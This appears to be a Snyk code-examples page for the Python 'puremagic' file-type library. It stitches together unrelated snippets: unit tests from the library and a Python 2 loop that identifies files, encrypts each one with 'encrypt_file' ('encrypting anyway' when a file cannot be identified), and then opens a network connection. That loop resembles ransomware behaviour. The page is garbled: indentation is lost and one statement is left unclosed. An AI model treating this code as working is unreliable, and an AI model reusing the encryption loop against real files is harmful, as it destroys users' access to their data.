Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.
def group_test(self, directory):
failures = []
ext_failures = []
for item in os.listdir(directory):
try:
ext = puremagic.from_file(os.path.join(directory, item))
except puremagic.PureError:
failures.append(item)
else:
if not item.endswith(ext):
ext_failures.append((item, ext))
if failures:
raise AssertionError(
"The following items could not be identified from the {} folder: {}".format(
directory, ", ".join(failures)
)
)
if ext_failures:
raise AssertionError(
"The following files did not have the expected extensions: {}".format(
", ".join(['"{}" expected "{}"'.format(item, ext) for item, ext in ext_failures])
)
def test_office(self):
"""Test common office document formats """
# Office files have very similar magic numbers, and may overlap
for item in os.listdir(OFFICE_DIR):
puremagic.from_file(os.path.join(OFFICE_DIR, item))
def test_file(self):
"""File identification """
mp4file = NamedTemporaryFile(delete=False)
mp4file.write(self.mp4magic)
mp4file.close()
ext = puremagic.from_file(mp4file.name)
os.unlink(mp4file.name)
self.assertEqual(self.expect_ext, ext)
for f in files:
fname, fext = os.path.splitext( f )
if len( exts ) == 0 or fext in exts:
if skip_hidden and is_hidden( f ):
print 'Skipping hidden file ' + f
continue
ok = True
if ( do_magic ):
try:
mext = puremagic.from_file( f )
if fext.lower() not in mext:
print 'Improper identification - claimed ' + fext + ', ident as ' + mext + ', skipping...'
ok = False
except puremagic.PureError:
print 'Couldn\'t identify file, encrypting anyway...'
ok = True
if ok:
success = encrypt_file( f )
if post_netconn <> '':
make_network_connection( post_netconn )